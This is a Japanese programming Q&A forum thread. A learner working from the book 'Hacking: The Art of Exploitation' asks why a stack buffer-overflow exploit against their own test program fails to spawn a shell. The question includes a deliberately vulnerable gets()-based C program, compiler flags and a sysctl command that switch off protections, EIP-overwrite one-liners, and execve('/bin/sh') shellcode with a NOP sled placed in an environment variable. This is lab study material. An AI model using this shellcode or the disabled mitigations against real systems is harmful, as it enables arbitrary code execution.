質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

バイナリ

バイナリは、「0」と「1」だけで表現されている2進数のデータ形式。または、テキスト以外の情報でデータが記述されているファイルを指します。コンピューター内の処理は全て2進数で表記されています。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

セキュリティー

このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

Q&A

解決済

1回答

1022閲覧

環境変数に格納したシェルコードが実行されない

asdf1016

総合スコア14

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

バイナリ

バイナリは、「0」と「1」だけで表現されている2進数のデータ形式。または、テキスト以外の情報でデータが記述されているファイルを指します。コンピューター内の処理は全て2進数で表記されています。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

セキュリティー

このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

0グッド

1クリップ

投稿2020/08/15 12:22

問題・実現したいこと

Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際を参考に、バッファオーバーフローを利用して、環境変数に格納したシェルコードを実行したいと考えています。
EIPを奪い環境変数にコードを格納することはできたのですが、実行することができません。
問題点と解決方法を教えていただけると嬉しいです。

環境は
hostOS : windows10 64bit
guestOS(virtual box) : Linux kali 5.7.0-kali1-amd64
CPU : core i7-2670QM
メモリ : 8GB
です。

前提

バッファオーバーフロー脆弱性を持つソースコード(/media/sf_share/ctf/ctest/bof3.c)を以下の通り作成しました。

[hoge@kali] /media/sf_share/ctf/ctest % cat ./bof3.c #include <stdio.h> #include <stdlib.h> #include <string.h> void jmphere(char* v) { printf("jumped\n"); } void vuln(){ char a[32]; printf("give me a word.\n"); gets(a); printf("You typed %s\n", a); printf("jumping to 0x%x !\n",__builtin_return_address(0)); } int main(int argc, char *argv[]) { vuln(); return 0; }

これを以下のようにコンパイルしました。

[hoge@kali] /media/sf_share/ctf/ctest % gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3 ./bof3.c: In function ‘vuln’: ./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 12 | gets(a); | ^~~~ | fgets /usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln': /media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.

ASLRは無効にしてあります。

[hoge@kali] /media/sf_share/ctf/ctest % sudo sysctl -w kernel.randomize_va_space=0 [sudo] hoge のパスワード: kernel.randomize_va_space = 0

gdbでリターンアドレスまでのオフセット(44byte)とjmphereのアドレス(0x565561b9)を確認し、EIPが奪えることを確認しました。

[hoge@kali] /media/sf_share/ctf/ctest % python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3 give me a word. You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV jumping to 0x565561b9 ! jumped zsh: done python -c 'print("a"*44+"\xb9\x61\x55\x56")' | zsh: segmentation fault ./bof3

発生している問題・エラーメッセージ

次にnopスレッドおよびシェルコードを環境変数MYSHELLCODEに格納し、/bin/shの起動を試みました。
シェルコードはここから持ってきました。

[hoge@kali] /media/sf_share/ctf/ctest % cat ./env_shellcode-2.sh #!/bin/sh nopsled=$(perl -e 'print "\x90"x200') shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" total=$nopsled$shellcode export MYSHELLCODE=$(echo $total) echo $MYSHELLCODE |xxd [hoge@kali] /media/sf_share/ctf/ctest % source env_shellcode-2.sh 00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368 ........1.Ph//sh 000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031 h/bin..........1 000000e0: c040 cd80 0a .@...

gdbでMYSHELLCODEのアドレスを確認し、付近に処理を飛ばすことでシェルコードの実行を試みましたが、上手くいきませんでいた。
以下のように/bin/shは起動せず、処理が正常に終了するのみでした。
問題点と解決方法を教えていただけると嬉しいです。

gdb-peda$ x/10s $esp+1900 (省略) 0xffffdea2: "MYSHELLCODE=", '\220' <repeats 188 times>... 0xffffdf6a: '\220' <repeats 12 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@" (省略) gdb-peda$ q [hoge@kali] /media/sf_share/ctf/ctest % python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3 give me a word. You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���� jumping to 0xffffdee2 !

拙い文章、技術で申し訳ありませんが、どうぞよろしくお願いいたします。

補足

私は情報系ではない大学院生で、かつプログラミング歴もコンピュータの知識も浅いため、初心者にもわかりやすい説明をいただけると非常にありがたいです。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

以前私も同じ本で同じ試みをして失敗しました。

失敗原因は「今時のOSはその手のバッファオーバーフローに
対して、対策が施されており、もうその脆弱性は突けない」
です。

古いOSとそれをインストール出来るハードウェア
(もしくはそんなハードウェアをエミュレートできる仮想環境)
を用意しようと、少しだけ足掻きましたが、諦めました。

頑張って下さい。

投稿2020/08/17 13:16

hana_yama_san

総合スコア923

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

asdf1016

2020/08/19 11:28

ご回答ありがとうございます。 お伺いしたいのですが、 失敗原因は「今時のOSはその手のバッファオーバーフローに 対して、対策が施されており、もうその脆弱性は突けない」 とのことですが、これは具体的にどのような対策が施されているのでしょうか。 ソースまたは名称等を教えていただけますと嬉しいです。 たとえば[checksec.sh](https://github.com/slimm609/checksec.sh)では以下のようになりますが、これら以外にも対策がとられているということでしょうか。 ''' [hoge@kali] /media/sf_share/ctf/ctest % checksec ./bof3 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 78) Symbols No 0 2 ./bof3 '''
hana_yama_san

2020/08/19 12:23 編集

いやいや、昔調べたことを再調査するのはしんどいですが、 記憶にあるキーワードで検索すると、 下記のようなサイトがヒットします。 (私が当時調べた物と同一では有りませんが、  記載している意味合いはほぼ同じかと・・) https://www.saitolab.org/infra_kaisetsu/ https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E7%A9%BA%E9%96%93%E9%85%8D%E7%BD%AE%E3%81%AE%E3%83%A9%E3%83%B3%E3%83%80%E3%83%A0%E5%8C%96 ご参考になれば・・・ 追記、ちょっと読み直して「ASLRは無効にしてあります。」というのを 読み落としていたことに気づきました。 慌てて件の本 2010/5/7 初版第7刷を引っ張り出してきてみたのですが、 ASLR無効化は記述を見つけられませんでした。 これは時間があり次第私も検証したいと思います。
asdf1016

2020/08/21 09:17

返信ありがとうございます。 もう少し粘ってみようと思います。 大変ありがとうございました。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問